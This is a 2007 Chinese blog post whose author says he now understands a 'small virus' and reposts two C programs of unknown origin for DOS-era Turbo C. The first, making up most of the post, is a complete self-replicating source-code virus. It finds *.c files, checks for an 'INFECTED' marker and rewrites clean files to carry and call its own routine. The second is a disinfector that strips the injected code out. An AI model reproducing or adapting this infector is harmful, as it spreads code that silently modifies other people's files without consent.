博客首页 注册 建议与交流 排行榜 加入友情链接
推荐 投诉 搜索: 帮助

hope_process

I think ,therefore I am.
  heixia108.cublog.cn

关于作者
    既然目标是地平线

   留给世界的只能是背影
   
|| << >> ||
我的分类


弄懂了一个小病毒,原来是这样.,呵呵
小病毒
/*INFECTED*/
#include "stdio.h"
#include "dos.h"
#include "dir.h"
int  main()
{
  viruses();
 
  return 0;
}
int viruses_sub()
{
   struct ffblk ffblk;
   int done,i,j,k,n_line;
   FILE *virus_r,*virus_v;
 /*virus_r指向将被感染的文件,virus_v指向已带病毒的文件*/
   char a[500][80],b[80],*p1,*p2; /*将被传染的文件读入a[500][80]临时存放??????*/
   static char viruses_f[]={"virus.c"};/*文件被传染后,修改该值为自身文件名*/
   int include_write;
   int virus_call=0;
   int virus_start=0;
   char *main_flag[]={"printf","break","for","while"};
   char *include_h[]={"dos.h","stdio.h","dir.h"};
   char *v_flag[]={"INFECTED"};
   struct date today;
  
/*VIRUSES DISPLAY*/
   getdate(&today); /*病毒显示日期信息*/
   printf("Today is %d/%d/%d\n",today.da_mon,today.da_day,today.da_year);
  
/*AFFECT VIRUSES*/
   done=findfirst("*.c",&ffblk,0); /*查找第一个匹配文件*/
   while(!done)
   {
       if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)
       {
          virus_r=fopen(ffblk.ff_name,"r+w");
          if(virus_r!=NULL)
          {
             p1=fgets(&a[0][0],80,virus_r);
             if(strstr(p1,v_flag[0])==NULL)
             {
                n_line=0; /*把文件全部读入a[500][80]*/
                while(p1!=NULL)
                {
                   n_line++;
                   p1=fgets(&a[n_line][0],80,virus_r);
                   if(n_line>=500)
                   {
                       fclose(virus_r);
                       return(1);
                   }
                }/*while*/
               fseek(virus_r,0,SEEK_SET);
               virus_v=fopen(&viruses_f[0],"r"); /*打开带病毒的文件*/
               if(virus_v==NULL)
               {
                   fclose(virus_r);
                   return(2);
               }
              for(i=1;i<5;i++) /*读带病毒文件前4行并写入将被传染的文件*/
              {
                 p2=fgets(b,80,virus_v);
                 if(p2==NULL)
                 {
                  fclose(virus_r);
                  fclose(virus_v);
                  return(3);
                 }
                 fputs(b,virus_r);
               }
              for(j=0;j<n_line;j++) /*把将被传染文件的原程序写回原文件*/
              {
                include_write=1; /*不写入病毒文件已有的包含语句*/
                if(strstr(&a[j][0],"#include")!=NULL)
                for(i=0;i<3;i++)
                if(strstr(&a[j][0],include_h[i])!=NULL)
                      include_write=-1;
                if(virus_call==0)   /*插入调用语句,并加上回车换行*/
                {
                   for(i=0;i<4;i++)
                   if(strstr(&a[j][0],main_flag[i])!=NULL)
                   {
                       for(k=0;k<80;k++)
                          b[k]=0;
                      strcpy(&b[0],"viruses();");
                      b[10]=13;
                      b[11]=10;
                      fputs(b,virus_r);virus_call=1;
                      i=4;
                  }
                }/*if virus_call == 0*/
                if(include_write==1)
                  fputs(&a[j][0],virus_r);
              }/*for*/
              p1=fgets(b,80,virus_v);  /*把病毒子程序写入文件*/
              while(p1!=NULL)
              {
                 if(virus_start==0)  /*找病毒子程序的第一条语句*/
                 {
                     if(strstr(p1,"int viruses_sub()")!=NULL)
                        virus_start=1;
                 }
                 if(virus_start==1)
                 {
                  if(strstr(p1,"char")!=NULL)
                      if(strstr(p1,"viruses_f[]=")!=NULL)
                      {
                          strcpy(&b[29],ffblk.ff_name);
                          i=strlen(b);
                          b[i]=34;
                          strcpy(&b[i+1],"};");
                          b[i+3]=13;
                          b[i+4]=10;
                          for(i = i + 5 ; i < 80 ; i ++)
                                b[i] = 0;
                      }
                 fputs(b,virus_r);
                }
                p1=fgets(b,80,virus_v);
         }
      fclose(virus_v);
      fclose(virus_r);
      return(0);
   }
   fclose(virus_r);
  }
 }
   done=findnext(&ffblk);
}
    return(4);
}
int  viruses()
{
      int num;
      num=viruses_sub();
      switch (num)
      {
             case  0 : printf("successful\n");
                       break;
             case  1: printf("the file is outof line\n");
                       break;
             case  2 : printf("the viruses file cannot open\n");
                       break;
             case  3 : printf("cannot read viruses file\n");
                       break;
             case  4: printf("cannot find file\n");
      }
      getch();
      return 0;
}
 
反病毒
#include "stdio.h"
#include "dos.h"
#include "dir.h"
int main()
{
  struct ffblk ffblk;
  int done,i,j,line,k;
  static int n_line;
  FILE *virus_r,*virus_v;
  char a[500][80],b[80],*p;
  char *v_flag[]={"INFECTED"};
  done=findfirst("*.c",&ffblk,0);
  while(!done)
  {
    if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)
    {
       for(k=0;k<500;k++)
          for(j=0;j<80;j++)
            a[k][j]=0;
       virus_r=fopen(ffblk.ff_name,"r+w");
       if(virus_r!=NULL)
       {
         p=fgets(&b[0],80,virus_r);
        if(strstr(p,v_flag[0])!=NULL)
        {
           line=0;
           while(p!=NULL)
           {
              p=fgets(&b[0],80,virus_r);
              if(strstr(&b[0],"int viruses_sub()")!=NULL)
                 break;
              else if(strstr(&b[0],"viruses();")==NULL)
              {
                  strcpy(a[line],b);
                 line++;
              }
           }/*while*/
         n_line=line;
         fclose(virus_r);
         remove(ffblk.ff_name); /*删除文件*/
         virus_r=fopen(ffblk.ff_name,"w+");  /*打开将被感染的文件*/
         for(i=0;i<n_line;i++)
         {
            fputs(&a[i][0],virus_r); /*把二维数组中的数据写入原文件*/
          }
        fclose(virus_r);
       }/* if(strstr(p,v_flag[0])!=NULL) */
      }/*if(virus_r!=NULL)*/
     }/*if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)*/
   done=findnext(&ffblk); /*查找下一个匹配文件*/
   }/*while !done*/
    return 0; 
}
注:这是在网上下的一程序,但原出处不明...

发表于: 2007-08-06,修改于: 2007-08-06 23:59,已浏览518次,有评论0条 推荐 投诉


网友评论
 发表评论